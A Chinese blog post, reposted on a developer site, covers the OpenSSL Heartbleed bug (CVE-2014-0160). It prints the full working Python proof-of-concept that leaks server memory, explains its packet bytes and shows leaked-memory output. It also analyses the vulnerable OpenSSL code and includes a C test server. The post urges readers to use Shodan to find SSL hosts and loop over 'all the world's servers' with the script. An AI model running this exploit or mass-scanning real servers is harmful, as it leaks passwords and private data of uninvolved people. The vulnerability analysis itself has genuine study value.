1. 全栈程序员必看首页

HeartBleed漏洞详解与利用「建议收藏」

全栈程序员-用户IM • • 未分类

HeartBleed漏洞详解与利用「建议收藏」看一下流传的Python利用脚本。#!/usr/bin/python#QuickanddirtydemonstrationofCVE-2014-0160byJaredStafford(jspenguin@jspenguin.org)#Theauthordisclaimscopyrighttothissourcecode.

大家好，又见面了，我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

HeartBleed漏洞详解与利用「建议收藏」

看一下流传的Python利用脚本。
#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage=’%prog server [options]’, description=’Test for SSL heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(‘-p’, ‘–port’, type=’int’, default=443, help=’TCP port to test (default: 443)’)

def h2bin(x):
    return x.replace(‘ ‘, ”).replace(‘\n’, ”).decode(‘hex’)

hello = h2bin(”’
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
”’)

hb = h2bin(”’ 
18 03 02 00 03
01 40 00
”’)

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ‘ ‘.join(‘%02X’ % ord(c) for c in lin)
        pdat = ”.join((c if 32 <= ord(c) <= 126 else ‘.’ )for c in lin)
        print ‘  %04x: %-48s %s’ % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ”
    remain = length
    while remain > 0:
        rtime = endtime – time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print ‘Unexpected EOF receiving record header – server closed connection’
        return None, None, None
    typ, ver, ln = struct.unpack(‘>BHH’, hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print ‘Unexpected EOF receiving record payload – server closed connection’
        return None, None, None
    print ‘ … received message: type = %d, ver = %04x, length = %d’ % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print ‘No heartbeat response received, server likely not vulnerable’
            return False

        if typ == 24:
            print ‘Received heartbeat response:’
            hexdump(pay)
            if len(pay) > 3:
                print ‘WARNING: server returned more data than it should – server is vulnerable!’
            else:
                print ‘Server processed malformed heartbeat, but did not return any extra data.’
            return True

        if typ == 21:
            print ‘Received alert:’
            hexdump(pay)
            print ‘Server returned error, likely not vulnerable’
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print ‘Connecting…’
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print ‘Sending Client Hello…’
    sys.stdout.flush()
    s.send(hello)
    print ‘Waiting for Server Hello…’
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print ‘Server closed connection without sending Server Hello.’
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print ‘Sending heartbeat request…’
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == ‘__main__’:
    main()


用法：openssl.py ip/域名 -p 端口

纠正一点，for b in xrange(0, len(s), 16):表示的是显示结果的步长，因此不需要改为64，这个并不是表示溢出64 KB内存     

我们要做的很简单 跑起python    

HeartBleed漏洞详解与利用「建议收藏」

去撒旦上搜995或者其他用着SSL的端口（445好像要收钱）

HeartBleed漏洞详解与利用「建议收藏」


撒旦似乎是给了API 的demo，GIT地址：https://github.com/achillean/shodan-python.git

写一个循环，遍历全世界的服务器吧。当然，后面的那些资料，你得为你的好奇心。。。交钱。。

再来谈谈那个脚本的事情。

上面比较重要和难以理解的是hello和hb两个字符串的意思到底是什么。

首先看hb这个字符串的几个字节是什么意思， 通过阅读RFC6520我们可以得到heartbeat的数据结构：

  enum {

      heartbeat_request(1),

      heartbeat_response(2),

      (255)

   } HeartbeatMessageType;

 

   struct {

      HeartbeatMessageType type;

      uint16 payload_length;

      opaque payload[HeartbeatMessage.payload_length];

      opaque padding[padding_length];

   } HeartbeatMessage;

这个数据结构的总长度不能超过2的14次方。

 

type:  消息类型，  heartbeat_request 或者 heartbeat_response中的一个，不是0x01就是0x02，1byte。

payload_length: payload的长度, 2个bytes。

 

payload：内容是任意的东西，接收端收到之后必须忽略掉里面的具体内容，如果接收端响应这个request，那么需要将里面的内容原封不动拷贝回发送端。

 

padding: 也是一些随即的乱起八糟的内容，必须被接收端忽略掉。

 

padding_length:  TLSPlaintext.length – payload_length – 3 for TLS 或者 DTLSPlaintext.length – payload_length – 3 for DTLS.  至少是16bytes.

 

在这个RFC6520中有下面一句话，IANA has assigned the heartbeat content type (24) from the “TLS ContentType Registry” as specified in [RFC5246]

 

意思就是说IANA这个组织把heartbeat content type的编号定为了24

 

我们去RFC5246中查找TLSPlaintext结构的定义。

 

RFC5246附录A中开头的定义如下：

 

struct {

       uint8 major;

       uint8 minor;

   } ProtocolVersion;

 

   ProtocolVersion version = { 3, 3 };     /* TLS v1.2*/

 

   enum {

       change_cipher_spec(20), alert(21), handshake(22),

       application_data(23), (255)

   } ContentType;

 

   struct {

       ContentType type;

       ProtocolVersion version;

       uint16 length;

       opaque fragment[TLSPlaintext.length];

   } TLSPlaintext;

 

 

type:1个byte，这里应该是heartbeat，24, 0x18

 

version:2个bytes

 

length：2个bytes

 

fragment: 具体的extension的message.

 

上面这一系列数据结构翻译成用c语言的数据结构就是：

 

struct {

 

       ContentType type;         //1byte

       ProtocolVersion version; //2bytes

       uint16 length;                    //2bytes

       HeartbeatMessageType type;          //1bytes

       uint16 payload_length;                   //2bytes

       char payload[payload_length];     

       char padding[padding_length];

 

}HeartBeatPlainText;

 

 

这样我们就可以对应的看出来hb到底是什么意思了：

 

hb = h2bin(”’ 

18 03 02 00 03

01 40 00

”’)

18表示heartbeat type

 

03 02表示TLS的版本号，这里表示TLS v1.1

 

00 03表示heartbeatmessage的长度，也就是TLSplaintext的payload的长度

 

01表示heartbeat_request

 

40 00 表示payload length, 2**14

 

其中payload和padding都没有，这样正好就可以利用漏洞将后面内存中的数据dump出来了。

 

OK, 现在hb已经清楚了。

 

hello有225bytes, 具体的每个域的意思可以参考RFC 5246 7.4.1 

 

https://tools.ietf.org/html/rfc5246#section-7.4.1

最好通过wireshark抓https的包来看client hello的解析。一目了然。

 

 

另外：通过在自己机器上测试发现XAMPP for Linux 1.8.3-3用的就是有漏洞的版本的openssl, 可以用这个脚本来进行测试，抓包。

 

转一段分析的文章：

测试一：

HeartBeat Requst包

hb = h2bin(”’

18 03 02 00 03

01 20 00

”’)

蓝色的01表示的是心跳包的类型为request方向。对应源代码中就是#define TLS1_HB_REQUEST 1

红色的20 00表示的心跳请求包的length字段，占两个字节，对应的长度值为8192。

HeartBeat Response包

[root@server test]# python ssltest.py 127.0.0.1 -p 9876 > 1

Sending heartbeat request…

… received message: type = 24, ver = 0302, length = 8211

Received heartbeat response:

WARNING: server returned more data than it should – server is vulnerable!

Received heartbeat response:

0000: 02 20 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C . ….SC[…r…

0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H…9…….

0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3….f…..”.

0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8………5.

蓝色的02表示的是心跳包的类型为response方向。

对应源代码中就是#define TLS1_HB_RESPONSE 2

红色的20 00表示的心跳响应包的length字段，占两个字节，对应的长度值为8192。和request包的length值一样。

绿色部分就是非法获取到的越界数据(可能包含用户名、密码、邮件、内网IP等敏感信息)。

测试二：

在测试一的基础上，修改了request心跳包的length字段的值，从20 00 修改到 30 00

HeartBeat Requst包

hb = h2bin(”’

18 03 02 00 03

01 30 00

”’)

30 00两个字节对应的长度为12288（8192+4096）

HeartBeat Response包

[root@server test]# python ssltest.py 127.0.0.1 -p 9876 > 1

Sending heartbeat request…

… received message: type = 24, ver = 0302, length = 12307

Received heartbeat response:

WARNING: server returned more data than it should – server is vulnerable!

Received heartbeat response:

0000: 02 30 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .0….SC[…r…

0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H…9…….

0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3….f…..”.

0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8………5.

两个测试用例中，response的length长度值总是比request的长度多出来了19个byte，为什么？

因为，TLS和DTLS在处理类型为TLS1_HB_REQUEST的心跳请求包逻辑中，在从堆空间上申请内存大小时，有4部分决定type+length+request的数据长度+pad，其中type,length,pad字段分为占1byte，2byte，16byte，所以response的数据总是比request的多出来19byte。

源码分析

概要说明

该漏洞主要是内存泄露问题，而根本上是因为OpenSSL在处理心跳请求包时，没有对length字段（占2byte，可以标识的数据长度为64KB）和后续的data字段做合规检测。生成心跳响应包时，直接用了length对应的长度，从堆空间申请了内存，既便是真正的请求data数据远远小于length标识的长度。

相关解析源码说明

存在该漏洞的源文件有两个ssl/d1_both.c和ssl/t1_lib.c。

心跳处理逻辑分别是dtls1_process_heartbeat和tls1_process_heartbeat两个函数。

dtls1_process_heartbeat函数处理逻辑：

Step1.获取心跳请求包对应的SSLv3记录中数据指针字段，指向request的请求数据部分。

unsigned char *p = &s->s3->rrec.data[0];

record记录的数据格式应该包含了三个字段：type， length， data；分别占1byte，2byte，length的实际值。

Step2.

/* Read type and payload length first */

hbtype = *p++;

n2s(p, payload);

pl = p;

做了两件事，获取了type类型以及length字段的值（存放到payload中），然后将pl指向真正的data数据。

Step3.

/* Allocate memory for the response, size is 1 byte

* message type, plus 2 bytes payload length, plus

* payload, plus padding

*/

buffer = OPENSSL_malloc(1 + 2 + payload + padding);

bp = buffer;

悲剧开始上演了。没有判断请求记录中的真正数据长度，直接用length字段的值来申请空间。对应于测试一中的异常数据包的话，buffer申请的内存大小就是8211byte。但是实际应该申请的大小仅仅就几个字节。

Step4.

/* Enter response type, length and copy payload */

*bp++ = TLS1_HB_RESPONSE;

s2n(payload, bp);

memcpy(bp, pl, payload);

bp += payload;

悲剧形成了。填充响应记录，第一个字节填充类型，第二、三个字节填充request记录中length的值，紧接着，将request的data填充为响应的data数据。异常情况下，payload对应的长度远远大于真正应该使用的合法的data数据长度，这样，就导致了非法越界访问相邻内存空间的数据。

tls1_process_heartbeat函数的处理逻辑和dtls1_process_heartbeat一样，此处就不再做详细分析了。

附：ssl_server.c

编译方式(请根据实际环境自行修改相关路径)

gcc -g -o ssl_server ssl_server.c -I/root/openssl_101f_prex/include/ -L/root/openssl_101f_prex/lib/ -lssl

该代码是文中用于调试存在漏洞的libssl.so库的server端，供对该漏洞感兴趣的安全研究人员、安全爱好者们自行后续调试。希望这段独立的代码能让大家意识到这个漏洞持续的高等级威胁：截至目前，心血漏洞仅仅是刚开始出血，避免这个漏洞引起互联网业务大血崩此刻就要开始更多的行动了！

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

#include “openssl/bio.h”

#include “openssl/rsa.h”

#include “openssl/crypto.h”

#include “openssl/x509.h”

#include “openssl/pem.h”

#include “openssl/ssl.h”

#include “openssl/err.h”

#define server_cert “./server.crt”

#define server_key “./server.key”

#define ca_cert “./ca.crt”

#define PORT 9876

#define CHK_NULL(x) if ((x)==NULL) exit (1)

#define CHK_ERR(err,s) if ((err)==-1) { perror(s); exit(1); }

#define CHK_SSL(err) if ((err)==-1) { ERR_print_errors_fp(stderr); exit(2); }



int main ()

{

int err;

int listen_sd = -1;

int sd = -1;

struct sockaddr_in sa_serv;

struct sockaddr_in sa_cli;

int client_len;

SSL_CTX* ctx = NULL;

SSL* ssl = NULL;

X509* client_cert = NULL;

char* str = NULL;

char buf [4096];

SSL_METHOD *meth = NULL;


SSL_library_init();

SSL_load_error_strings();

ERR_load_BIO_strings();

OpenSSL_add_all_algorithms();

meth = (SSL_METHOD *)SSLv23_server_method();

ctx = SSL_CTX_new(meth);

if (NULL == ctx) {

goto out;

}

//SSL_CTX_set_verify(ctx,SSL_VERIFY_PEER,NULL);

//SSL_CTX_load_verify_locations(ctx,ca_cert,NULL);

if (SSL_CTX_use_certificate_file(ctx, server_cert, SSL_FILETYPE_PEM) <= 0) {

goto out;

}

if (SSL_CTX_use_PrivateKey_file(ctx, server_key, SSL_FILETYPE_PEM) <= 0) {

goto out;

}

if (!SSL_CTX_check_private_key(ctx)) {

printf(“Private key does not match the certificate public key\n”);

goto out;

}

listen_sd = socket(AF_INET, SOCK_STREAM, 0);

if (-1 == listen_sd) {

goto out;

}

memset (&sa_serv, ‘\0′, sizeof(sa_serv));

sa_serv.sin_family = AF_INET;

sa_serv.sin_addr.s_addr = INADDR_ANY;

sa_serv.sin_port = htons(PORT);

err = bind(listen_sd, (struct sockaddr*) &sa_serv, sizeof(sa_serv));

if (-1 == err) {

goto out;

}

err = listen(listen_sd, 5);

if (-1 == err) {

goto out;

}

client_len = sizeof(sa_cli);

sd = accept(listen_sd, (struct sockaddr*)&sa_cli, &client_len);

if (-1 == err) {

goto out;

}

printf (“Connection from %d, port %d\n”,sa_cli.sin_addr.s_addr, sa_cli.sin_port);

ssl = SSL_new(ctx);

if (NULL == ssl) {

goto out;

}

SSL_set_fd(ssl, sd);

err = SSL_accept(ssl);

if (NULL == ssl) {

goto out;

}

/*

printf (“SSL connection using %s\n”, SSL_get_cipher(ssl));

client_cert = SSL_get_peer_certificate(ssl);

if (client_cert != NULL) {

printf (“Client certificate:\n”);

str = X509_NAME_oneline (X509_get_subject_name (client_cert), 0, 0);

CHK_NULL(str);

printf (“\t subject: %s\n”, str);

Free (str);

str = X509_NAME_oneline (X509_get_issuer_name (client_cert), 0, 0);

CHK_NULL(str);

printf (“\t issuer: %s\n”, str);

Free (str);

X509_free (client_cert);

}

else

printf (“Client does not have certificate.\n”);

*/

err = SSL_read(ssl, buf, sizeof(buf) – 1);

if (err == -1) {

goto out;

}

buf[err] = ‘\0′;

printf (“Got %d chars:’%s’\n”, err, buf);

err = SSL_write(ssl, “I hear you.”, strlen(“I hear you.”));

CHK_SSL(err);


out:

if (-1 != sd) {

close(sd);

}

if (-1 != listen_sd) {

close(listen_sd);

}


if (ssl) {

SSL_free(ssl);

}

if (ctx) {

SSL_CTX_free(ctx);

}

return 0;

}

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。

发布者：全栈程序员-用户IM，转载请注明出处：https://javaforall.cn/159910.html原文链接：https://javaforall.cn

【正版授权，激活自己账号】： Jetbrains全家桶Ide使用，1年售后保障，每天仅需1毛

【官方授权 正版激活】： 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

赞 (0)
全栈程序员-用户IM全栈程序员-用户IM
0 0
blank

相关推荐

  • 在线css三角形生成器 「干货」[通俗易懂]

    在线css三角形生成器 「干货」[通俗易懂]

    在线css三角形生成器 「干货」[通俗易懂]为了提高前端开发效率,笔者先后写了上百个前端工具,有些是给公司内部使用的,有些单纯是因为自己太“懒”,不想写代码,所以才“被迫”做的.接下来介绍的一款工具——css三角形生成器也是因为之前想要解放设计师的生产力,自己又懒得切图或者写css代码,所以想来想去还是自己做一个能自动生成css三角形代码的工具吧.接下来笔者就来带大家介绍一下这个工具的用途和实现方案,方便大家后续可以扩展出更多的“懒人工具”.在线css三角形生成器预览由预览动画我们可以看到通过在线工具我们可以轻松配置..

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年10月31日
  • 如何查看Linux版本信息？

    如何查看Linux版本信息？

    如何查看Linux版本信息？这里所谓的Linux版本信息，包括Linux内核版本信息和Linux系统版本信息。下面分别介绍>>>（笔者在Ubuntu12.04中进行操作并截图如下）一、查看Linux内核版本信息方法1：登陆Linux，在终端输入cat/proc/version方法2：登陆Linux，在终端输入uname-a方法3：登陆Linux，在终端输入uname

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年4月27日
  • 在线图片转换成word的方法_html 转word

    在线图片转换成word的方法_html 转word

    在线图片转换成word的方法_html 转word项目后端使用了springboot，maven，前端使用了ckeditor富文本编辑器。目前从html转换的word为doc格式，而图片处理支持的是docx格式，所以需要手动把doc另存为docx，然后才可以进行图片替换。一.添加maven依赖主要使用了以下和poi相关的依赖，为了便于获取html的图片元素，还使用了jsoup：&lt;dependency&gt;&lt;gr…

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年10月12日
  • CSS面试题

    CSS面试题

    CSS面试题1.有哪些方式（CSS）可以隐藏页面元素？1.opacity:0本质是将元素的透明度降为0，看起来是隐藏了，但是依然占据空间2.visibility:hidden占据空间3.display:none彻底隐藏元素，元素从文档流中消失，不占据空间4.z-index:-9999原理是将层级放到底部，看起来是隐藏了5.overflow：hidden这个只是隐藏元素溢出的部分6.transform：scale（0，0）将元素缩放为0，但是依然占据空间2.em\px\rem区别？Px：绝对

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年5月31日
  • 网络模拟发包工具_移动端抓包工具

    网络模拟发包工具_移动端抓包工具

    网络模拟发包工具_移动端抓包工具原文：https://zm8.sm-tc.cn/?src=l4uLj8XQ0IuekZWWi5bRk5CZi5qN0ZyQktCPkIyL0M6cnMmcx8qdoM7PnMrIyMnI&amp;uid=e96fb03443f13a7818306ad06a9a551c&amp;amp;hid=7004e08dc41ef5580b3280b8ff2054c4&amp;pos=5&amp;cid=9…

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年9月5日
  • 海龟交易_海龟交易法则的核心

    海龟交易_海龟交易法则的核心

    海龟交易_海龟交易法则的核心入行十多年，见过不少充满灵性的投资人，选股能力非常出色，但是在买卖时机、投入资金多寡上的不足使得他们的盈利水平并不理想。没有别的原因，是缺少一个交易系统。一个完整的交易系统，包括：·市场

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年8月2日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号